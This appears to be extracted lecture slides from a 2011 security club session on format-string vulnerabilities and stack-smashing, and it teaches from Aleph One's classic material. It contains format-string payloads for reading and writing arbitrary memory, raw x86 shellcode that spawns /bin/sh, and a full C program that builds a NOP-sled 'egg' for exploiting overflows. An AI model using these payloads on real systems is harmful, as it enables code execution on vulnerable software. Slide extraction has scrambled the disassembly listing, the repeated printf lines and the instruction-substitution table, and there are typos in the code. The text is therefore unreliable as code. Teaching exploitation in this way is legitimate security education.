CrackChat #2 Stack Overflows and Format Strings Part 2: Baking the Egg 04-21-2011 -(NSDate *)agenda { intro(crackChat); freeZines(); watch(kevinPoulsen); finish(formatString); bakeEgg(); furtherReading(); collectRequests(); return august; } Format Strings # Format modifiers printf(“here’s a number: %d”, num); %d %u %x %s %n – – – – – int unsigned int hex version of %u char * (* int) number of bytes written so far # Variable length parameter lists Printf(“Number %d has no address, number %d has: $08x\n”, i, a, &a); ---- stack top ---<&a> <a> <i> A ---- stack bottom ---- # Uses // Viewing the stack (stackpop sequence): printf(“%08x.%08x.%08x.%08x.%08x\n”); // Output: 40012980.080628c4.bffff7a4.00000005.08059c04 // Viewing an arbitrary address (let’s say 0x08480110): printf ("\x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|"); // Output: prints process memory starting at 0x08480110 until null byte // Writing to an arbitrary address printf ("\xc0\xc8\xff\xbf_%08x.%08x.%08x.%08x.%08x.%n“); # Tricks // Controlling number of bytes written unsigned char foo[4]; printf(“%64u%n”, 7350, (int *) foo); // Result: foo[0] = 0x40 unsigned char canary[5]; unsigned char foo[4]; memset (foo, ’\x00’, sizeof (foo)); /* 0 * before */ strcpy (canary, "AAAA"); /* /* /* /* 1 2 3 4 */ */ */ */ printf printf printf printf ("%16u%n", 7350, (int *) &foo[0]); ("%32u%n", 7350, (int *) &foo[1]); ("%64u%n", 7350, (int *) &foo[2]); ("%128u%n", 7350, (int *) &foo[3]); printf ("%02x%02x%02x%02x\n", foo[0], foo[1], foo[2], foo[3]); printf ("canary: %02x%02x%02x%02x\n", canary[0], canary[1], canary[2], canary[3]); // Output: 10204080 and canary = 0x00000041 Baking the Egg void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; int *ret; ret = buffer1 + 12; (*ret) += 8; } void main() { int x; x = 0; function(1,2,3); x = 1; printf("%d\n",x); } 0x8000490 0x8000491 0x8000493 0x8000496 0x800049d 0x800049f 0x80004a1 0x80004a3 0x80004a8 0x80004ab 0x80004b2 0x80004b5 0x80004b6 0x80004bb 0x80004c0 0x80004c3 0x80004c5 0x80004c6 0x80004c7 <main>: <main+1>: <main+3>: <main+6>: <main+13>: <main+15>: <main+17>: <main+19>: <main+24>: <main+27>: <main+34>: <main+37>: <main+38>: <main+43>: <main+48>: <main+51>: <main+53>: <main+54>: <main+55>: pushl movl subl movl pushl pushl pushl call addl movl movl pushl pushl call addl movl popl ret nop %ebp %esp,%ebp $0x4,%esp $0x0,0xfffffffc(%ebp) $0x3 $0x2 $0x1 0x8000470 <function> $0xc,%esp $0x1,0xfffffffc(%ebp) 0xfffffffc(%ebp),%eax %eax $0x80004f8 0x8000378 <printf> $0x8,%esp %ebp,%esp %ebp # writing shellcode // Simple execve program #include <stdio.h> void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); } // Disassemble and extract important parts movl string_addr,string_addr_addr movb $0x0,null_byte_addr movl $0x0,null_addr movl $0xb,%eax movl string_addr,%ebx leal string_addr,%ecx leal null_string,%edx int $0x80 movl $0x1, %eax movl $0x0, %ebx int $0x80 /bin/sh string goes here. // Now for the bytecode char shellcode[] = "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00" "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3"; // Problem: null bytes. Fix: substitutions. Problem instruction: Substitute with: ------------------------------------------------------movb $0x0,0x7(%esi) xorl %eax,%eax molv $0x0,0xc(%esi) movb %eax,0x7(%esi) movl %eax,0xc(%esi) -------------------------------------------------------movl $0xb,%eax movb $0xb,%al -------------------------------------------------------movl $0x1, %eax xorl %ebx,%ebx movl $0x0, %ebx movl %ebx,%eax inc %eax -------------------------------------------------------- // Exploitation: it’s all math // Need to find where our shellcode begins. Three approaches 1) Guessing: no. we’re lazy. 2) Brute force: try and try again. 3) Shellcode padding: much better odds, but requires a large buffer. Uses NOPS (0x90) or cyclic operations bottom of memory <------ top of stack DDDDDDDDEEEEEEEEEEEE 89ABCDEF0123456789AB buffer EEEE CDEF sfp FFFF 0123 ret FFFF 4567 a FFFF 89AB b FFFF CDEF c top of memory [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE] ^ | |_____________________| bottom of stack #include <stdlib.h> #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } . . . . . . void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; for (i = 0; i < bsize/2; i++) buff[i] = NOP; ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; memcpy(buff,"EGG=",4); putenv(buff); system("/bin/bash"); } Further reading: # Smashing the Stack for Fun and Profit, by Aelph One http://www.phrack.org/issues.html?id=14&issue=49 # Exploiting Format String Vulnerabilities, by team teso http://crypto.stanford.edu/cs155/papers/formatstring-1.2.pdf # Have a good summer.